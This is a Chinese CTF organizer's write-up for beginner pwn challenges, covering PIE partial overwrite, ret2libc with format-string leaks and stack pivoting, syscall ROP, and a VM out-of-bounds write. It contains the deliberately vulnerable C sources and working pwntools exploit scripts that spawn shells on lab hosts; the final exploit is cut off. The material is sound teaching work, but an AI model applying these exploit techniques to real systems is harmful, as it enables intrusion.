写在前面

  • 这次是我第一次出题,没什么经验,大部分题目都是对着一些比较经典的题目改的,QAQ。(还偷偷赛了题国际赛题)
  • 这次出题感受还是挺深的,还是要多尝试一点东西。接下来就直接开始wp环节

Hello_World

  • 考点:ret2textPIE保护Linux内存分页机制off-by-one
  • 这题并不用爆破最后一个字节,题目已经设定好了。接下来我们来具体分析一下这个附件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>

void func1()
{
char s[32];
read(0,s,0x40);
}
void init()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}

void out()
{
printf("***** * * ***** ****** ***** \n");
printf("* * * * * * \n");
printf("* **** ***** * * ***** \n");
printf("* * * * * * * \n");
printf("***** * * ***** * * \n");
printf("Hello pwner!\n");
printf("Welcome to the world of pwn!\n");
printf("Show time!!!!!!\n");
}
void backdoor()
{
system("/bin/sh");
}

int main()
{
init();
out();
func1();
return 0;
}
// gcc编译需要开启PIE保护,要关闭canary保护

Hello_World_分析1

  • 拿到附件后肯定是先要check一下这个附件开启了什么保护机制。check完后我们发现这个程序没有开启canary保护,但是开启了PIE保护

image-20250309190655495

  • 接下来我们使用IDA pro反汇编一下这个代码,我们发现main函数这边只执行了3个函数,第一个init就不分析了,对输入输出进行初始化

image-20250309190804003

  • 然后我们再来分析一下out()这个函数,发现并没有什么特别的,仅仅是几个输出函数

image-20250309190908838

  • 现在来查看func1这个函数,发现这边会存在一个栈溢出的漏洞

image-20250309190954154

  • 我们还注意到,这边还有一个函数名为backdoor的函数

image-20250309191039841

  • 查看该函数会发现确实是一个后门函数

image-20250309191144341

  • 由于程序开启了PIE保护,我们无法完全确定程序的地址,所以我们IDA pro反编译完,backdoor的这个函数地址是这样的
  • 如果我们将PIE关闭后,在64位下程序会地址会为0x400000,在32为下程序地址为0x08048000(可以随便找两个对应靶场题目附件反编译看看)
  • 但是由于内存分页机制,程序地址最后316进制位是不会改变的Linux下一个内存页为0x1000即(4KB)

image-20250309191314152

  • 而我们调用func1这个函数时,保存的返回地址其实是main函数汇编中对应的这个汇编指令

image-20250309191836758

  • 这时我们发现第3个二进制位他们是相同的。

Hello_World_分析2

  • 这时我们来进行动态调试,我们查看一下返回地址,我们发现调用func1时,保存在栈上的返回地址为0x555eb72009f6

image-20250309192103483

  • 我们再来查看backdoor这个函数的起始地址,这个函数的起始地址为0x555eb72009c1(我们多次动态调试会发现其实返回地址backdoor函数的起始地址其实就只有最后一个字节是不同的

image-20250309192219972

  • 这里要注意一下:如果backdoor和返回地址的第三个16进制位不同这时就要需要爆破,因为我们使用read的时候是一个字节一个字节写入到栈上,而一个字节是2个16进制位。我们再修改第3个16进制位的时候会修改到第4个16进制位。这时由于我们不知道第4个16进制位具体是多少,返回的时候就不知道返回到哪个地方了,所以如果遇到这种情况的话就需要进行爆破了。

Hello_World_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level='debug'
p = remote('node4.anna.nssctf.cn',28285)
#p = process('../attachment')
#gdb.attach(p)
#pause()
payload = b'a'*0x28 + p8(0xC5)
p.send(payload)
p.interactive()

ret2libc1

  • 考点:ret2libc栈溢出代码审计

  • 这题其实就是ret2libc,这题并不是那种简单的一眼栈溢出的,可能还要稍微逆一下。遇到这种题不要害怕,认真逆。(走出做太多简单直白的ret2libc题目这个舒适区,同时也为堆的代码逆向做铺垫。)

  • 这题源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int money = 1000;
int what_can_I_say = 0;
void init();
void menu();
void flower();
void hell_money();
void clothing();
void shop();
void see_it();
void books();
void check_money();
int read_count();

void init(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}

void menu(){
printf("Welcome to shop, what do you buy?\n");
printf("1.flowers\n");
printf("2.books\n");
printf("3.hell money\n");
printf("4.clothing\n");
printf("5.buy my shop\n");
printf("6.check youer money\n");
}

void flower()
{
unsigned int count;
int choose;
printf("Which kind of flower would you like buy?\n");
printf("1.peony $10\n");
printf("2.rose $100\n");
printf("3.fragrans $20\n");
choose = read_count();
printf("How many flowers do you want to buy?\n");
count = read_count();

switch(choose)
{
case 1:
if(money < count * 10) printf("Don't have enough money\n");
money -=count * 10;
break;
case 2:
if(money < count * 100) printf("Don't have enough money\n");
money -=count * 100;
break;
case 3:
if(money < count * 20) printf("Don't have enough money\n");
money -=count * 20;
break;
default:
printf("Invalid choose\n");
break;
}
}

void books()
{
unsigned int count;
int choose;
printf("Which kind of books would you like buy?\n");
printf("1.story books $10\n");
printf("2.novel books $80\n");
printf("3.note books $20\n");
choose = read_count();
printf("How many books do you want to buy?\n");
count = read_count();

switch(choose)
{
case 1:
if(money < count * 10) printf("Don't have enough money\n");
money -=count * 10;
break;
case 2:
if(money < count * 80) printf("Don't have enough money\n");
money -=count * 80;
break;
case 3:
if(money < count * 20) printf("Don't have enough money\n");
money -=count * 20;
break;
default:
printf("Invalid choose\n");
break;
}
}

void hell_money(){

unsigned int count;
printf("1$ = 1000hell_money\n");
printf("How much do you want to spend buying the hell_money?\n");
count = read_count();
if(money < count)
printf("Don't have enough money\n");
else
what_can_I_say += count*1000;
}

void clothing(){

unsigned int count;
printf("the price of clothing is 50$\n");
printf("How much do you want to buy\n");
count = read_count();
if(money < count * 50)
printf("Don't have enough money\n");
else
money -= 50*count;
}

void shop(){

char name[0x40];
printf("Do you want to buy my shop?\n");
if(money > 100000){

money -= 100000;
printf("give you my shop!!!\n");
printf("You can name it!!!\n");
read(0,name,0x80);
}

else{
printf("roll!\n");
}
}

void see_it(){

unsigned int count;
printf("Barter?!1000$ = 1hell_money\n");
printf("How much do you exchange?");
count = read_count();
what_can_I_say -=count;
money += count * 1000;

}

int read_count(){
char ch[8];
read(0,ch,0x8);
return atoi(ch);
}


void check_money(){
printf("you have %d $\n",money);
printf("you have %d hell_money\n",what_can_I_say);
}


int main(void)
{
char ch[8];
while(1)
{
menu();
switch(read_count())
{
case 1:
flower();
break;
case 2:
books();
break;
case 3:
hell_money();
break;
case 4:
clothing();
break;
case 5:
shop();
break;
case 6:
check_money();
break;
case 7:
see_it();
break;
default:
printf("Invalid choose\n");
break;
}

}
}

ret2libc1_分析1

  • 拿到附件后老样子,还是先来check一下保护机制。发现没有开启canarypie

image-20250309193608288

  • 现在我们就来使用IDA pro对该程序进行反编译,先来查看一下main函数。这里main函数主要的执行逻辑就3点概括
    • 先输入输出初始化
    • 进入循环,打印菜单,并且要用户输入选项
    • 之后通过switch语句执行对应的选项。

image-20250309195517274

  • 然后我们查看菜单menu(),这个函数结合main()函数中的switch语句进行分析。这时我们发现:
    • 菜单中只有6个选项,而main()函数中却有7个选项,并且第7个选项还是see_it
    • 这时就会想到see_it()这个函数可能会有点问题

image-20250309200149427

  • 接下来我们还是逐个函数进行分析,先来分析flower()这个函数,我们将这个函数分为四个部分进行解读
    • 这就是模拟商店买花的一个函数
    • 首先我们要确定买哪一种花,然后确定买多少朵这种花
    • 之后我们就会根据我们所买花的种类进入相应的case,然后扣除相应的money
    • 在这里money是一个全局变量,保存在bss段上

image-20250309200451652

  • 接下来我们查看books()这个函数的逻辑也和flower()这个函数也一样
    • 也就是选择我们要买的书的种类和个数
    • 然后进入对应的case语句
    • 执行对应的判断语句以及扣钱

image-20250309201346140

  • 然后我们来查看hell_money
    • 这个函数主要执行的就是使用money对换hell_money1money=1000hell_money
    • 并且会对hell_money统计,将得到的hell_money的总数保存在全局变量中what_can_I_say

image-20250309201829207

  • 来看clothing()这个函数
    • 这个函数实现的就是购买衣服
    • 购买后就会扣除相应的钱

image-20250309202152701

  • 现在来查看shop()函数
    • 这个函数就是让我们购买这一整个商店
    • 买完这个商店后就可以对这个商店进行命名
    • 注意这边就存在一个栈溢出的漏洞
    • 所以我们要想办法把money增加到大于100000

image-20250309202443440

  • 在来查看see_it()
    • 这边的话我们可以使用hell_money来换取money
    • 只要我们有足够的hell_money就可以换取足够的money,从而可以买下整个shopshop命名
    • 然后我们就可以进行栈溢出,ret2libc利用

image-20250309202554215

  • 这里我们再来查看一下全局变量和data段,会发现我们一开始的what_can_I_say变量的值为,然后moeny一开始的值为0x3e8

image-20250309203846322

image-20250309203839855

  • 所以我们本题的思路就是不断用money购买holl_money然后用holl_money购买money使得money能购买整个商店,然后ret2libc
  • 这题就不动态调试了

ret2libc1_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
#context.log_level='debug'
#context.terminal = ["tmux", "neww"]
#p = process('./ret2libc11')
p = remote('node4.anna.nssctf.cn',28496)
libc = ELF('./libc.so.6')
#gdb.attach(p)
def hell_money(count):
p.sendline(b'3')
p.sendline(str(count).encode('utf-8'))

def see_it(count):
p.sendline(b'7')
p.sendline(str(count).encode('utf-8'))

pop_rdi = 0x400d73
ret = 0x400579
printf_got = 0x602020
func_addr = 0x400B1E
printf_plt = 0x4005A0
hell_money(100)
pause()
see_it(10000)
pause()
p.sendline(b'5')
pause()
payload = b'a'*0x48+p64(ret)+p64(pop_rdi)+p64(printf_got)+p64(printf_plt)
payload += p64(func_addr)
#gdb.attach(p)
pause()
p.sendline(payload)
p.recvuntil(b'it!!!\n')
printf_addr = p.recvline()[:6]
print('printf-->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr -libc.symbols['printf']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh'))
payload = b'a'*0x48+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.sendline(payload)

ret2libc2

  • 考点:ret2libc栈迁移字符串格式化漏洞ogg在libc找rop

  • 本题其实使用system("/bin/sh")或者ogg都可以打得出来,在使用system("/bin/sh")的时候可能需要稍微调整一下栈的距离

  • 这题感觉是出的最有问题的一题,虽然考点比较多,给出的ogg本意是想让新生们了解一下ogg这个东西,为以后打堆的时候劫持hook的学习打下铺垫,这题还可以让新生知道,libc中也可以找rop

  • 源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void init();
void func();
void gitf();

void init()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}


void func()
{
char str[0x10]="hello world!\n";
char str1[0x20];
printf(str);
printf("give you a gift.\n");
printf("show your magic\n");
read(0,str1,0x60);
__asm__("lea -0x30(%rbp),%rax;");
}


int main()
{
init();
func();
return 0;
}

ret2libc2_分析1

  • 我们来check一下这个附件,发现并没有开启PIE保护也没有开启Canary保护

image-20250309222120594

  • 接下来使用IDA pro对附件进行反编译,查看一下代码,先来查看一下main函数,main函数会调用init函数对输入输出进行初始化
  • 然后就调用func函数

image-20250309222442715

  • 接下来我们就来分析func()函数
    • 这个函数首先会输出hello world!,注意这里存在一个格式化字符的漏洞
    • 但是在printf输出format的内容之前,并没有read,并不能修改format的内容
    • 我们先接下去看,这时我们看到这边存在一个栈溢出,并且很重要的一点就是我们我们read写入buf的地址比format的地址更低
    • 所以我们在溢出buf的时候,我们同时也可以改写format的内容

image-20250309222559379

  • 接下来我们查看一下这个函数的汇编形式,我们可以注意到,在调用read函数后有一个lea rax,[rbp+buf]这个地址。这时我们溢出的时候就可以对这个rax进行一些利用

image-20250309223051762

  • 这时我们再查看这个程序的rop链,发现这个程序并没有我们想要的gadget

image-20250309223347969

  • 所以我们就只能找别的方式利用栈溢出漏洞和字符串格式化漏洞。由于没有开启PIE,我们就可以先将这个程序返回到mov rdi,rax这个指令,我们就可以再次使用printf函数输出format的内容,而这次输出的format内容我们就不会输出hello world!。而是我们read(),溢出的一部分内容。
  • 所以我们使用readformat这个地址中读入%n$p,这样我们就可以泄露指定地址

image-20250309223455358

ret2libc2_分析2

  • 接下来我们就可以动态调试查看一下调用printf时,确定偏移量,泄露栈上的libc地址。
  • 这边可以泄露__libc_start_call_main+128的地址,这时我们可以确定偏移地址0x7+0x9-1=0xF(这个是错误的)注意并不能通过现在rsp指针指向的位置算出偏移,我们因为我们是修改返回地址,再调用printf函数泄露地址,但是在我们ret之前,我们执行了leave这个汇编代码,改变了rsp的值,所以我们真正确定偏移的时候应该是在执行leave语句后再确定偏移
  • 但是这个地址需要我们反编译libc.so文件,所以我在泄露的时候并不是泄露这个地址

image-20250309224059341

  • 我们接下去查看,会发现这边还可以泄露另一个libc的地址,即__libc_start_main+128,我们选用这个地址,这样可以使用pwntools自带的一些函数快速寻找到偏移

image-20250309224319279

  • 现在我们来真正确定偏移,我们才能计算出真正的偏移
    • __libc_start_call_main+1280x2+0x6-0x1=0x7
    • __libc_start_main+1280x16+0x6-0x1=0x1B

image-20250309225237277

  • 这边我们泄露了地址后,我们就可以对地址接收,然后得到libc的地址。
  • 这里还需要注意一点在第一次进行栈溢出操作的时候需要进行栈迁移操作,否则第二次程序在执行ret之前又会执行一次,leave操作
  • 如果我们在栈溢出时随便填写rbp指向地址里面的内容就会出现一个问题,第一次leaverbp跑到了不存在的内存地址。第二次leave时就会出现段错误
  • 在第二次溢出的时候,还会执行一次leave,这时的rbp指向的位置,也不能随便覆盖一个值,也需要覆盖一个可读可写的地址

image-20250310004005221

  • 为什么栈迁移这边有做详细分析关于PWN中的疑问 | iyheart的博客

  • 这里在栈迁移的时候还需要注意几点:

    • 栈迁移时最好不要迁移到.bss段开头的位置,否则之后在执行system("/bin/sh")时会将栈地址降低,这时栈地址跑到了不能可读可写的段上去了。
    • 我们在栈迁移的时候最好就是迁移到.bss段偏高一点的地方。
  • 泄露之后就是正常的ret2libc去打了,这里其实system("/bin/sh")也可以打的出来,栈迁移时,迁移到的.bss段地址再高一点就不会报错

  • 而我这边使用onegadget进行打,首先我们需要使用到one_gadget这个插件,之后我们使用如下命令,这时我们的窗口就会输出onegadget,我们来具体介绍一下这些东西

  • 当我们泄露libc地址后计算出ogg的偏移,跳转执行ogg,如果我们的寄存器满足这些条件,那么我们就可以getshell

1
one_gadget ./libc.so.6

image-20250310005115495

  • 这里我选用的是倒数第二个,这时我们还要构造一个rop链,将rax设置为0,由于我们前面栈迁移(第二次栈迁移)会将rbp指针保持在可读可写的bss段中,所以rbp-0x48可写是没问题的。
  • 当我们rbp处于bss段地址比较高的地方,rbp-0x70这个地址保存的值一般都是0,所以[rbp-0x70]=NULL也满足。
  • 然后我们再使用pop raxrax设置为0就没问题了

image-20250310005307327

ret2libc2_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
p = remote('node2.anna.nssctf.cn',28323)
#p = process('./ret2libc2')
#gdb.attach(p)
libc = ELF('./libc.so.6')
bss_addr = 0x404508
payload = b'a'*0x2b+b'%27$p'+ p64(bss_addr+0x400)+p64(0x401227)
pause()
p.sendline(payload)
p.recvuntil(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
libc_start = p.recvline()[:14]
print("leak-->",libc_start)
libc_start = int(libc_start,16)
libc_addr = libc_start - libc.symbols['__libc_start_main']-128
print('leak--------->',hex(libc.symbols['__libc_start_main']+128))
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh'))
pop_rdi = libc_addr + 0x2a3e5
pop_rsi = libc_addr + 0x2be51
pop_rdx = libc_addr + 0x904a9
pop_rax = libc_addr + 0x45eb0
ogg = libc_addr + 0xebd43
payload = b'a'*0x30+ p64(bss_addr+0x500) #+ p64(pop_rax)+p64(0)+p64(ogg)
payload+= p64(pop_rdi)+ p64(sh_addr)+ p64(sys_addr)
p.sendline(payload)
p.interactive()

你真会布栈吗?

  • 考点:syscall布置rop链
  • 这题的打的思路比较多,所以这边就多给几个exp
  • 还有一件事,这题是塞的国际赛题,所以没源码

你真会布栈吗?_分析

  • 按照流程,先check一下,发现这个程序的保护机制全部没开。

image-20250310010543822

  • 这里我们来分析一下这个程序的运行逻辑,我们发现这个程序只有_start函数print函数

image-20250310011019651

  • 我们一开始运行程序的时候会先运行_start这个函数,这个函数就相当于main函数,然后我们具体查看一下_start这个函数
    • 这个函数执行的逻辑其实就是,进行三次输出
    • 然后将用户可以输入内容到栈上,可以写入0x60字节到栈上
    • 之后会返回到rsp指向的地址处

image-20250310011431918

  • 这时我们再来查看一下print函数
    • 除了实现主要的输出功能外
    • 我们还发现存在xchg rax,r13,这个指令就是交换raxr13这两个寄存器的值
    • 最后就是返回

image-20250310011646315

  • 接下来我们查看一下其他的.text段会发现有给gadgets

image-20250310015206503

  • 接下来我们运行一下这个程序,发现这个程序在这边会输出乱码,接下来我们动调和接收一下

image-20250310011924906

你真会布栈吗?思路1_利用xchg rax,r13和栈地址

  • 如果知道栈上的地址,我们就可以直接写/bin/sh到栈上,然后计算好偏移即可。这时我们可以直接syscall 59
  • 所以我们就直接调用gadget进行布置栈,布置到这里gadget就算是利用完成了,这里我们还要注意,jmp到gadgetsrsp这个栈帧并没有增加,所以我们将程序jmpgadgetspop_r15这边,这样就可以让rsp指针先增大0x8,接下来才开始真正的布置栈

image-20250310083114532

  • 接下来我们看执行完xchg后会执行什么,发现执行xchg后会执行,jmp [rsp],这时我们还可以继续布置栈

image-20250310080228337

  • 这时我们的寄存器已经是满足了,现在我们就来满足rdi的值为/bin/sh这个字符串的地址,由于我们的栈地址已知。我们这个时候就能将/bin/sh写入到栈上,这时我们就可以这样布置栈

image-20250310083141646

  • 这时我们可以计算偏移得到/bin/sh这个字符串的地址与我们接收到栈地址的偏移。接下来我们查看是否能打出来,这边发现已经能执行execve了,但是我们注意到envp这边还有点问题,导致我们execve无法正常调用

image-20250310081102077

  • 所以就会出现系统调用失败

image-20250310081249245

  • 这时我们就要利用gadgetsrdx这个寄存器清零操作

image-20250310081354593

  • 这时我们发现这个程序在异或完还会jmp r15,所以我们是不是能先将r15的值赋值成syscall_addr(第一次调用syscall那个地址主要的目的是指向交换两个寄存器的值,此时由于syscall传递的参数不符合,syscall会调用失败。)并且之后执行完xchg后我们就跳转到xor rdx,rdx,这时我们发现r15还指向syscall的地址

  • 所以修改一下布置的栈,修改后栈布置如下:

image-20250310083318778

  • 动调算到的偏移,为程序泄露出来的栈地址leak_addr+0x28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
p = process('./Hopper')

pop_rsi = 0x401017
syscall = 0x40100A
xchg = 0x40100C
pop_r15=0x40101C

gdb.attach(p)
pause()
p.recvuntil(b' (" ~----( ~ Y. )\n')
a = p.recvline()[:6]
a = int.from_bytes(a,'little')
print("--->",hex(a))
payload = p64(pop_r15)+p64(pop_rsi)+p64(0)
payload += p64(a+0x28) + p64(0)
payload += p64(59) + p64(syscall)
payload += p64(0x401021)+ b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

你真会布栈吗?思路2_只利用xchg rax,r13

  • 这个就是单纯的布置栈了。这个我就不写了(写得好累)
  • 直接贴exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch = 'amd64')
#p = remote('node4.anna.nssctf.cn',28015)
p = process('./Hopper')
gdb.attach(p)
pause()
pop_r13_r15 = 0x401019
print_addr = 0x401000
a = p64(pop_r13_r15) + p64(0x0) + p64(print_addr) + p64(0x40101c) + p64(0x401017)
a += p64(0x402000) + p64(0x0) + p64(0x0)
a += p64(0x0) + p64(0x40100A) + p64(0x40101c) +p64(0x401017)
a += p64(0x0) + p64(0x402000) + p64(0x0) + p64(59) + p64(0x40100A) + p64(0x401021)
#a += p64(0x40100A)
p.sendlineafter(b'>>',a)
b = asm(shellcraft.sh())
#pause()
p.send(b'/bin/sh\x00')
#pause()
#p.send(b' ')
p.interactive()

my_vm

  • 主要考点就是:vm_pwn固定指令设计越界读写

  • 这题就是[OGeek2019 Final]OVM这题改编的,已经改编的比较有好了。原题在动调的时候会比较麻烦,并且越界读写计算偏移比较麻烦。

  • 修改的源码如下,现在就放出我修改的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <unistd.h>
int memory[65536];
int reg[12];
int stack[0x20];
void (*funcptr)();
void init();
void backdoor();
int fetch();
void execute(int code);
void my_print();

void my_print()
{
puts("over!");
}

void backdoor()
{
system("/bin/sh");
}

void init()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}

int fetch()
{
int a1;
a1 = memory[reg[11]];
reg[11] += 1;
return a1;
}

void execute(int code)
{
unsigned int cmd;
unsigned char r1;
unsigned char r2;
unsigned char r3;
unsigned int imm;
cmd = (code & 0xff000000)>> 24;
r1 = (code & 0xf0000) >> 16;
r2 = (code & 0xf00) >> 8;
r3 = (code & 0xf);
imm = code&0xffff;
if (r1 > 11 || r2 > 11 || r3 > 11)
{
puts("out of index");
exit(0);
}

switch(cmd)
{
case 0x10:
reg[r1] = imm;
break;

case 0x20:
stack[reg[10]] = reg[r1];
reg[10]+=1;
break;

case 0x30:
reg[10]-=1;
reg[r1] = stack[reg[10]];
break;

case 0x40:
reg[r1] = reg[r2] + reg[r3];
break;

case 0x50:
reg[r1] = reg[r2] - reg[r3];
break;

case 0x60:
reg[r1] = reg[r2] ^ reg[r3];
break;

case 0x70:
reg[r1] = reg[r2] >> reg[r3];
break;

case 0x80:
reg[r1] = reg[r2] << reg[r3];
break;
case 0x90:
memory[reg[r1]] = reg[r2];
break;
default:
break;
}
}

int main(){
short unsigned int ip;
short unsigned int sp;
short unsigned int size;
short unsigned int count;
int code;
funcptr = my_print;
init();

write(1,"This is my vm.\n",15);
printf("set your IP:");
scanf("%hd",&ip);
getchar();

printf("set your SP:");
scanf("%hd",&sp);
getchar();
reg[10] = sp;
reg[11] = ip;

if( ip > 0x2000 || !sp)
{
puts("error!");
exit(0);
}


printf("How much code do you want to execve:");
scanf("%hd",&size);
getchar();

for( count=0; count < size; count++)
{
scanf("%d",&memory[count]);
getchar();
}

for( count=0; count < size; count++)
{
code = fetch();
execute(code);
}
funcptr();

return 0;
}

前置知识

  • 对于vm_pwn的这类题目,其实有涉及到一点计算机组成原理的设计操作码的技术。在计算机组成原理中,我们可以采用固定操作码的技术,也可以采用扩展操作码的技术。

  • 这里我们稍微介绍一下固定操作码和拓展操作码。以我们常用的64位计算机为例子。

  • x64架构下,我们的处理器一次能处理8字节的数据,我们在设计二进制操作码的时候可以这么设计。

    • 我们可以固定最高16位(也就是49-64位)表示要执行的指令,比如movsubadd这些指令
    • 而我们而我们还可以分别设计33-48位表示目的寄存器的编号,17-32位表示源寄存器的编号,1-16位也还可以表示源寄存器的编号。
    • 这时我们的固定指令三寄存器操作就设计完成了。就像题目gift中所给出的这样(虽然题目的是32位的操作码)
    • 固定指令操作码:本质上就是指令固定长度,即我们固定49-64位这边16字节就表示操作码。不管是二寄存器操作还是一寄存器操作
  • 扩展操作码:在我们执行三寄存器指令的时候,我们也使用49-64位表示指令,但是我们要留1位标志位,表示程序执行的操作码是二指令操作码。

    • 例如下图,我们选取第49位作为标志位,这时当标志位为0时执行的是3寄存器操作,这是49-64位表示指令(包含了标志位)
    • 而当我们标志位为1时,我们执行的是2寄存器操作,这时我们33-64(包含了标志位)表示的就是指令并且表示2寄存器操作的指令,这时我们指令由原来的最高16位表示,拓展成了最高32位程序表示

image-20250310163934291

image-20250310163954263

my_vm_分析1

  • 按照流程我们先来check一下保护机制。发现并没有开启PIE保护

image-20250310084657045

  • 现在我们来反编译这个程序,查看一下这个程序的具体运行逻辑

  • 我们先来查看main函数,我们按顺序分析这个程序

    • 首先会funcptr是一个函数指针,它指向了my_print这个函数,并且使用init对输入输出进行初始化
    • 然后程序会让用户输入SPIP,并且将用户输入的值放入spip寄存器中。并检查用户输入的初始化值是否合法
    • 之后程序会让用户输入程序要执行的指令数。然后进入循环,执行两个函数
    • 最后调用funcptr这个函数指针指向的函数

image-20250310164804658

  • 接下来我们查看一下fetch()这个函数,发现就是一个取memory[ip]的值,并且将ip自增,然后返回取出来的值

image-20250310165549267

  • 接下来查看一下execute()这个函数,这个函数会将前面取出来的memory[ip]指令作为参数传递
  • 这里我们一开始并不知道HIBYTE(a1)的值,此时我们就要查看汇编理解一下,我们先看到v5存储在rbp-8这个栈地址中
  • 通过汇编我们可以看到v5存储的是a1的最高8位,之后通过伪c代码就可以看到
    • v2存储的值是a1的第17-20
    • v3存储的值是a1的第9-12
    • v4存储的值是a1的第1-4

image-20250310165818475

image-20250310170324721

  • 我们接下去查看,我们会发现当v5即(a1的最高8位为特定的值时,会执行特定的类似于汇编指令)就像图中
    • v5=0x50,则会执行reg[v2]=reg[v3]-reg[v4],也就是执行sub指令
    • v5=0x70,则会执行reg[v2]=reg[v3]>>reg[v4],也就执行shr指令
    • 这时我们就可以知道,变量v2v3v4就代表着寄存器的编号。

image-20250310170704072

  • 这时我们通过逆向,可以归纳出剩下的指令,而该函数模拟的指令如下,这时我们还注意到reg这个数组是int类型,而不是unsigned类型
1
2
3
4
5
6
7
8
9
0x10  reg[v2] = imm;      			mov imm
0x20 push reg[v2]; push
0x30 pop reg[v2] pop
0x40 reg[v2] = reg[v3] + reg[v4]; add
0x50 reg[v2] = reg[v3] - reg[v4]; sub
0x60 reg[v2] = reg[v3] ^ reg[v4]; xor
0x70 reg[v2] = reg[v3] >> reg[v4]; shr
0x80 reg[v2] = reg[v3] << reg[v4]; shl
0x90 memory[reg[v2]] = reg[v3]; mov [reg[v2]],reg[v3]
  • 我们在函数这块还注意到有一个后门函数

image-20250310172420018

  • 我们现在来查看一下.bss段的全局变量,这时我们发现funcptr就在memory相邻低地址处

image-20250310172233421

  • 我们还注意到有reg这个数组

image-20250310172727594

  • 还注意到stack

image-20250310172747886

my_vm分析2

  • 这时我们可以确定漏洞点,就是利用memory[reg[v2]]这个指令进行负索引,从而修改funcptr这个指针为backdoor()这个函数的地址。

  • 接下来我们就来构造一个负索引,我们先初始化sp=0ip=0x1000

  • 首先我们需要构造寄存器的值为负值。一开始我们的各个寄存器都为0,我们先通过mov imm操作,将这个寄存器0、1、2赋值为8、4、20

1
2
3
4
5
6
7
8
9
10
11
12
reg[0]=8
reg[1]=4
reg[2]=20
reg[3]=0
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
sp=0
ip=0x100
  • 之后我们通过0x80左移操作,将寄存器r1设置为0x400000,即:r1=r1 << r2r1 = 4 << 20
  • 然后通过0x10这个操作将0x877赋值给r3
  • 最后通过0x40这个操作(add)将r1的值变为0x400877,这就是backdoor的地址,这一步操作就是为越界读写修改函数指针做准备
1
2
3
4
5
6
7
8
9
10
11
12
reg[0]=8
reg[1]=0x400877
reg[2]=20
reg[3]=0x877
reg[4]=0
reg[5]=0
reg[6]=0
reg[7]=0
reg[8]=0
reg[9]=0
sp=0
ip=0x100
  • 之后我们要构造负索引,这时我们就用0x50sub指令,使r4-r0,这时我们就得到了负值。

  • 最后我们再通过0x90存指令,直接就可以实现越界读写,使得函数指针指向backdoor

  • 至于负索引要索引到多少,就需要动调去计算偏移了。

my_vm_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.terminal = ["tmux", "neww"]
p = remote('node1.anna.nssctf.cn',28151)
#p = process('./my_vm')
def code(op,r1,r2,r3=0):
a = (op & 0xFF) << 24
a +=(r1 & 0xFF) << 16
a +=(r2 & 0xFF) << 8
a +=(r3 & 0xFF)
print(hex(a))
p.sendline(str(a).encode('utf-8'))
# 设置PC=0x1000
p.sendlineafter(b'IP:',str(0x0).encode('utf-8'))
# 设置SP=0x0
p.sendlineafter(b'SP:',str(1).encode('utf-8'))
# 设置Code_size=0x1000
p.sendlineafter(b'execve:',str(0x8).encode('utf-8'))
#gdb.attach(p,'break *0x400CFB')
